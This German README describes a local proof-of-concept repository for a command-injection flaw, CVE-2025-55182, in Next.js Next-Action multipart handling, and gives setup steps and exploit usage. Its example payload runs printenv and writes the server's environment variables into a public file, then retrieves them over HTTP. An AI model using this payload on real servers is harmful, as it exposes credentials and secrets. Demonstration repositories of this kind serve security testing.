
Proof-of-Concept-Exploit für CVE-2025-55182, der auf die Next.js multipart/Next-Action-Handhabung abzielt, mit einem lokalen Command-Injection-Demonstrationsskript.
Ein kleines Repository, das Folgendes enthält:
test-app/: eine Next.js 16 (React 19) Testanwendung mit dem App Router.exploit.js: ein lokales Proof-of-Concept-Skript, das zum Demonstrieren und Testen des Serververhaltens bei der Multipart/Next-Action-Verarbeitung verwendet wird. Nur für lokale Tests vorgesehen.rsc-test-app/
├─ README.md # You are here
├─ exploit.js # PoC script (local-only)
└─ test-app/ # Next.js application
├─ app/ # App Router pages
├─ public/ # Static assets (and env.txt when generated)
├─ package.json # Next 16 / React 19
└─ README.md # Default Next.js template README
cd test-app
npm install
npm run dev
# App will be available at http://localhost:3000
npm run build
npm start
Dieses Skript erstellt eine Multipart-Anfrage mit einem Next-Action-Header, um das Serververhalten zu testen. Standardmäßig versucht es, einen Befehl auf dem Serverprozess auszuführen, der die Umgebungsvariablen in public/env.txt schreibt (zur Demonstration in einer lokalen/Dev-Umgebung).
Wichtige Hinweise:
public/ unter test-app/public/ aufgelöst wird.Stellen Sie in einem separaten Terminal sicher, dass die Next.js-App unter http://localhost:3000 läuft:
cd test-app
npm run dev
Führen Sie das Skript vom Repository-Stammverzeichnis aus:
node exploit.js http://localhost:3000 "sh -lc 'printenv > public/env.txt'"
Parameter:
http://localhost:3000.sh -lc 'printenv > public/env.txt'.Nach dem Ausführen prüfen Sie die erzeugte Datei:
by accessing
http://localhost:3000/env.txt
Und dort haben Sie die Umgebungsvariablen des Servers.